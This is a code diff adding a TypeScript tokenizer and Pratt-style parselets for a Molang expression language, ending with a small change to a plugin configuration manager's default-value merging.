import { Token } from '../../tokenizer/token'
export interface IInfixParselet {
readonly precedence: number
parse: (parser: Parser, left: IExpression, token: Token) => IExpression
}

View File

@ -0,0 +1,29 @@
import { Parser } from '../parse'
import { Token } from '../../tokenizer/token'
import { IPrefixParselet } from './prefix'
import { IExpression } from '../expression'
import { LoopExpression } from '../expressions/loop'
export class LoopParselet implements IPrefixParselet {
constructor(public precedence = 0) {}
parse(parser: Parser, token: Token) {
parser.consume('LEFT_PARENT')
const args: IExpression[] = []
if (parser.match('RIGHT_PARENT'))
throw new Error(`loop() called without arguments`)
do {
args.push(parser.parseExpression())
} while (parser.match('COMMA'))
parser.consume('RIGHT_PARENT')
if (args.length !== 2)
throw new Error(
`There must be exactly two loop() arguments; found ${args.length}`
)
return new LoopExpression(args[0], args[1])
}
}

View File

@ -0,0 +1,43 @@
import { IPrefixParselet } from './prefix'
import { Token } from '../../tokenizer/token'
import { Parser } from '../parse'
import { NameExpression } from '../expressions/name'
import { ContextSwitchExpression } from '../expressions/contextSwitch'
export class NameParselet implements IPrefixParselet {
constructor(public precedence = 0) {}
parse(parser: Parser, token: Token) {
const nameExpr = new NameExpression(
parser.executionEnv,
token.getText()
)
const nextTokens = <const>[parser.lookAhead(0), parser.lookAhead(1)]
// Context switching operator "->"
if (
nextTokens[0].getType() === 'MINUS' &&
nextTokens[1].getType() === 'GREATER'
) {
parser.consume('MINUS')
parser.consume('GREATER')
const nameToken = parser.lookAhead(0)
if (nameToken.getType() !== 'NAME')
throw new Error(
`Cannot use context switch operator "->" on ${parser.lookAhead(
0
)}`
)
parser.consume('NAME')
return new ContextSwitchExpression(
nameExpr,
new NameExpression(parser.executionEnv, nameToken.getText())
)
}
return nameExpr
}
}

View File

@ -0,0 +1,23 @@
import { Parser } from '../parse'
import { Token } from '../../tokenizer/token'
import { IExpression } from '../expression'
import { GenericOperatorExpression } from '../expressions/genericOperator'
import { IInfixParselet } from './infix'
export class NotEqualsOperator implements IInfixParselet {
constructor(public precedence = 0) {}
parse(parser: Parser, leftExpression: IExpression, token: Token) {
if (parser.match('EQUALS')) {
return new GenericOperatorExpression(
leftExpression,
parser.parseExpression(this.precedence),
'!=',
(leftExpression: IExpression, rightExpression: IExpression) =>
leftExpression.eval() !== rightExpression.eval()
)
} else {
throw new Error(`! was used as a binary operator`)
}
}
}

View File

@ -0,0 +1,12 @@
import { IPrefixParselet } from './prefix'
import { Token } from '../../tokenizer/token'
import { Parser } from '../parse'
import { NumberExpression } from '../expressions/number'
export class NumberParselet implements IPrefixParselet {
constructor(public precedence = 0) {}
parse(parser: Parser, token: Token) {
return new NumberExpression(Number(token.getText()))
}
}

View File

@ -0,0 +1,21 @@
import { Parser } from '../parse'
import { Token } from '../../tokenizer/token'
import { IExpression } from '../expression'
import { GenericOperatorExpression } from '../expressions/genericOperator'
import { IInfixParselet } from './infix'
export class OrOperator implements IInfixParselet {
constructor(public precedence = 0) {}
parse(parser: Parser, leftExpression: IExpression, token: Token) {
if (parser.match('OR'))
return new GenericOperatorExpression(
leftExpression,
parser.parseExpression(this.precedence),
'||',
(leftExpression: IExpression, rightExpression: IExpression) =>
leftExpression.eval() || rightExpression.eval()
)
else throw new Error(`"|" not followed by another "|"`)
}
}

View File

@ -0,0 +1,3 @@
import { IInfixParselet } from './infix'
export interface IPostfixParselet extends IInfixParselet {}

View File

@ -0,0 +1,20 @@
import { Parser } from '../parse'
import { IExpression } from '../expression'
import { Token } from '../../tokenizer/token'
import { PrefixExpression } from '../expressions/prefix'
export interface IPrefixParselet {
readonly precedence: number
parse: (parser: Parser, token: Token) => IExpression
}
export class PrefixOperator implements IPrefixParselet {
constructor(public precedence = 0) {}
parse(parser: Parser, token: Token) {
return new PrefixExpression(
token.getType(),
parser.parseExpression(this.precedence)
)
}
}

View File

@ -0,0 +1,26 @@
import { Parser } from '../parse'
import { Token } from '../../tokenizer/token'
import { IExpression } from '../expression'
import { GenericOperatorExpression } from '../expressions/genericOperator'
import { IInfixParselet } from './infix'
import { TernaryParselet } from './ternary'
import { EPrecedence } from '../precedence'
const ternaryParselet = new TernaryParselet(EPrecedence.CONDITIONAL)
export class QuestionOperator implements IInfixParselet {
constructor(public precedence = 0) {}
parse(parser: Parser, leftExpression: IExpression, token: Token) {
if (parser.match('QUESTION')) {
return new GenericOperatorExpression(
leftExpression,
parser.parseExpression(this.precedence),
'??',
(leftExpression: IExpression, rightExpression: IExpression) =>
leftExpression.eval() ?? rightExpression.eval()
)
} else {
return ternaryParselet.parse(parser, leftExpression, token)
}
}
}

View File

@ -0,0 +1,18 @@
import { Parser } from '../parse'
import { Token } from '../../tokenizer/token'
import { IPrefixParselet } from './prefix'
import { NumberExpression } from '../expressions/number'
import { ReturnExpression } from '../expressions/return'
import { EPrecedence } from '../precedence'
export class ReturnParselet implements IPrefixParselet {
constructor(public precedence = 0) {}
parse(parser: Parser, token: Token) {
const expr = parser.parseExpression(EPrecedence.STATEMENT + 1)
return new ReturnExpression(
parser.match('SEMICOLON', false) ? expr : new NumberExpression(0)
)
}
}

View File

@ -0,0 +1,22 @@
import { Parser } from '../parse'
import { Token } from '../../tokenizer/token'
import { IPrefixParselet } from './prefix'
import { GroupExpression } from '../expressions/group'
export class ScopeParselet implements IPrefixParselet {
constructor(public precedence = 0) {}
parse(parser: Parser, token: Token) {
let expr = parser.parseExpression(this.precedence)
if (
parser.config.useOptimizer &&
parser.config.earlyReturnsSkipTokenization &&
expr.isReturn
)
parser.match('CURLY_RIGHT')
else parser.consume('CURLY_RIGHT')
return parser.config.keepGroups ? new GroupExpression(expr, '{}') : expr
}
}

View File

@ -0,0 +1,31 @@
import { Parser } from '../parse'
import { Token } from '../../tokenizer/token'
import { IExpression } from '../expression'
import { GenericOperatorExpression } from '../expressions/genericOperator'
import { IInfixParselet } from './infix'
export class SmallerOperator implements IInfixParselet {
constructor(public precedence = 0) {}
parse(parser: Parser, leftExpression: IExpression, token: Token) {
if (parser.match('EQUALS'))
return new GenericOperatorExpression(
leftExpression,
parser.parseExpression(this.precedence),
'<=',
(leftExpression: IExpression, rightExpression: IExpression) =>
// @ts-ignore
leftExpression.eval() <= rightExpression.eval()
)
else {
return new GenericOperatorExpression(
leftExpression,
parser.parseExpression(this.precedence),
'<',
(leftExpression: IExpression, rightExpression: IExpression) =>
// @ts-ignore
leftExpression.eval() < rightExpression.eval()
)
}
}
}

View File

@ -0,0 +1,84 @@
import { Parser } from '../parse'
import { IExpression } from '../expression'
import { Token } from '../../tokenizer/token'
import { IInfixParselet } from './infix'
import { StatementExpression } from '../expressions/statement'
import { StaticExpression } from '../expressions/static'
export class StatementParselet implements IInfixParselet {
constructor(public precedence = 0) {}
findReEntryPoint(parser: Parser) {
let bracketCount = 1
let tokenType = parser.lookAhead(0).getType()
while (tokenType !== 'EOF') {
if (tokenType == 'CURLY_RIGHT') bracketCount--
else if (tokenType === 'CURLY_LEFT') bracketCount++
if (bracketCount === 0) break
parser.consume()
tokenType = parser.lookAhead(0).getType()
}
}
parse(parser: Parser, left: IExpression, token: Token) {
if (parser.config.useOptimizer) {
if (left.isStatic())
left = new StaticExpression(left.eval(), left.isReturn)
if (parser.config.earlyReturnsSkipParsing && left.isReturn) {
if (!parser.config.earlyReturnsSkipTokenization)
this.findReEntryPoint(parser)
return new StatementExpression([left])
}
}
const expressions: IExpression[] = [left]
if (!parser.match('CURLY_RIGHT', false)) {
do {
let expr = parser.parseExpression(this.precedence)
if (parser.config.useOptimizer) {
if (expr.isStatic()) {
if (
parser.config.useAgressiveStaticOptimizer &&
!expr.isReturn
)
continue
expr = new StaticExpression(expr.eval(), expr.isReturn)
}
if (
parser.config.earlyReturnsSkipParsing &&
(expr.isBreak || expr.isContinue || expr.isReturn)
) {
expressions.push(expr)
if (!parser.config.earlyReturnsSkipTokenization)
this.findReEntryPoint(parser)
return new StatementExpression(expressions)
}
}
expressions.push(expr)
} while (
parser.match('SEMICOLON') &&
!parser.match('EOF') &&
!parser.match('CURLY_RIGHT', false)
)
}
parser.match('SEMICOLON')
const statementExpr = new StatementExpression(expressions)
// if (parser.config.useOptimizer && statementExpr.isStatic()) {
// return new StaticExpression(
// statementExpr.eval(),
// statementExpr.isReturn
// )
// }
return statementExpr
}
}

View File

@ -0,0 +1,12 @@
import { IPrefixParselet } from './prefix'
import { Token } from '../../tokenizer/token'
import { Parser } from '../parse'
import { StringExpression } from '../expressions/string'
export class StringParselet implements IPrefixParselet {
constructor(public precedence = 0) {}
parse(parser: Parser, token: Token) {
return new StringExpression(token.getText())
}
}

View File

@ -0,0 +1,28 @@
import { IInfixParselet } from './infix'
import { Parser } from '../parse'
import { IExpression } from '../expression'
import { Token } from '../../tokenizer/token'
import { TernaryExpression } from '../expressions/ternary'
import { VoidExpression } from '../expressions/void'
export class TernaryParselet implements IInfixParselet {
exprName = 'Ternary'
constructor(public precedence = 0) {}
parse(parser: Parser, leftExpression: IExpression, token: Token) {
let thenExpr = parser.parseExpression(this.precedence - 1)
let elseExpr: IExpression
if (parser.match('COLON')) {
elseExpr = parser.parseExpression(this.precedence - 1)
} else {
elseExpr = new VoidExpression()
}
if (parser.config.useOptimizer && leftExpression.isStatic()) {
return leftExpression.eval() ? thenExpr : elseExpr
}
return new TernaryExpression(leftExpression, thenExpr, elseExpr)
}
}

View File

@ -0,0 +1,25 @@
export enum EPrecedence {
SCOPE = 1,
STATEMENT,
ASSIGNMENT,
CONDITIONAL,
ARRAY_ACCESS,
NULLISH_COALESCING,
AND,
OR,
EQUALS_COMPARE,
COMPARE,
SUM,
PRODUCT,
EXPONENT,
PREFIX,
POSTFIX,
FUNCTION,
}

View File

@ -0,0 +1,144 @@
import { TokenTypes, KeywordTokens } from './tokenTypes'
import { Token } from './token'
export class Tokenizer {
protected keywordTokens: Set<string>
protected i = 0
protected currentColumn = 0
protected currentLine = 0
protected lastColumns = 0
protected expression!: string
constructor(addKeywords?: Set<string>) {
if (addKeywords)
this.keywordTokens = new Set([...KeywordTokens, ...addKeywords])
else this.keywordTokens = KeywordTokens
}
init(expression: string) {
this.currentLine = 0
this.currentColumn = 0
this.lastColumns = 0
this.i = 0
this.expression = expression
}
next(): Token {
this.currentColumn = this.i - this.lastColumns
while (
this.i < this.expression.length &&
(this.expression[this.i] === ' ' ||
this.expression[this.i] === '\t' ||
this.expression[this.i] === '\n')
) {
if (this.expression[this.i] === '\n') {
this.currentLine++
this.currentColumn = 0
this.lastColumns = this.i + 1
}
this.i++
}
// This is unnecessary for parsing simple, vanilla molang expressions
// Might make sense to move it into a "TokenizerWithComments" class in the future
if (this.expression[this.i] === '#') {
const index = this.expression.indexOf('\n', this.i + 1)
this.i = index === -1 ? this.expression.length : index
this.currentLine++
this.lastColumns = this.i + 1
this.currentColumn = 0
return this.next()
}
// Check tokens with one char
let token = TokenTypes[this.expression[this.i]]
if (token) {
return new Token(
token,
this.expression[this.i++],
this.currentColumn,
this.currentLine
)
} else if (
this.isLetter(this.expression[this.i]) ||
this.expression[this.i] === '_'
) {
let j = this.i + 1
while (
j < this.expression.length &&
(this.isLetter(this.expression[j]) ||
this.isNumber(this.expression[j]) ||
this.expression[j] === '_' ||
this.expression[j] === '.')
) {
j++
}
const value = this.expression.substring(this.i, j).toLowerCase()
this.i = j
return new Token(
this.keywordTokens.has(value) ? value.toUpperCase() : 'NAME',
value,
this.currentColumn,
this.currentLine
)
} else if (this.isNumber(this.expression[this.i])) {
let j = this.i + 1
let hasDecimal = false
while (
j < this.expression.length &&
(this.isNumber(this.expression[j]) ||
(this.expression[j] === '.' && !hasDecimal))
) {
if (this.expression[j] === '.') hasDecimal = true
j++
}
const token = new Token(
'NUMBER',
this.expression.substring(this.i, j),
this.currentColumn,
this.currentLine
)
// Support notations like "0.5f"
const usesFloatNotation = hasDecimal && this.expression[j] === 'f'
this.i = usesFloatNotation ? j + 1 : j
return token
} else if (this.expression[this.i] === "'") {
let j = this.i + 1
while (j < this.expression.length && this.expression[j] !== "'") {
j++
}
j++
const token = new Token(
'STRING',
this.expression.substring(this.i, j),
this.currentColumn,
this.currentLine
)
this.i = j
return token
}
if (this.hasNext()) {
this.i++
return this.next()
}
return new Token('EOF', '', this.currentColumn, this.currentLine)
}
hasNext() {
return this.i < this.expression.length
}
protected isLetter(char: string) {
return (char >= 'a' && char <= 'z') || (char >= 'A' && char <= 'Z')
}
protected isNumber(char: string) {
return char >= '0' && char <= '9'
}
}

View File

@ -0,0 +1,25 @@
export type TTokenType = string
export class Token {
constructor(
protected type: string,
protected text: string,
protected startColumn: number,
protected startLine: number
) {}
getType() {
return this.type
}
getText() {
return this.text
}
getPosition() {
return {
startColumn: this.startColumn,
startLineNumber: this.startLine,
endColumn: this.startColumn + this.text.length,
endLineNumber: this.startLine,
}
}
}

View File

@ -0,0 +1,32 @@
export const TokenTypes: Record<string, string> = {
'!': 'BANG',
'&': 'AND',
'(': 'LEFT_PARENT',
')': 'RIGHT_PARENT',
'*': 'ASTERISK',
'+': 'PLUS',
',': 'COMMA',
'-': 'MINUS',
'/': 'SLASH',
':': 'COLON',
';': 'SEMICOLON',
'<': 'SMALLER',
'=': 'EQUALS',
'>': 'GREATER',
'?': 'QUESTION',
'[': 'ARRAY_LEFT',
']': 'ARRAY_RIGHT',
'{': 'CURLY_LEFT',
'|': 'OR',
'}': 'CURLY_RIGHT',
}
export const KeywordTokens = new Set([
'return',
'continue',
'break',
'for_each',
'loop',
'false',
'true',
])

View File

@ -0,0 +1,7 @@
{
"extends": "../../tsconfig.json",
"compilerOptions": {
"baseUrl": "src",
"outDir": "dist"
}
}

View File

@ -110,11 +110,12 @@ export class PluginConfigManager {
let needSave = false
for (const key of Object.keys(defaultValue)) {
// 当配置文件不存在当前属性时才进行赋值
if (!Object.prototype.hasOwnProperty.call(configValue, key)) {
if (!Object.prototype.hasOwnProperty.call(configValue, key) && key != '____deep_copy____') {
configValue[key] = defaultValue[key]
needSave = true
} else if (Object.prototype.toString.call(configValue[key]) == "[object Object]" && !Object.prototype.hasOwnProperty.call(defaultValue[key], '____ignore____')) {
// 对象需要递归检测 如果对象内存在 ____ignore____ 那就忽略设置
} else if (Object.prototype.toString.call(configValue[key]) == "[object Object]"
&& Object.prototype.hasOwnProperty.call(defaultValue[key], '____deep_copy____')) {
// 对象需要递归检测 如果对象内存在 ____deep_copy____ 那就忽略设置
needSave ||= this.setDefaultValue(configValue[key], defaultValue[key])
}
}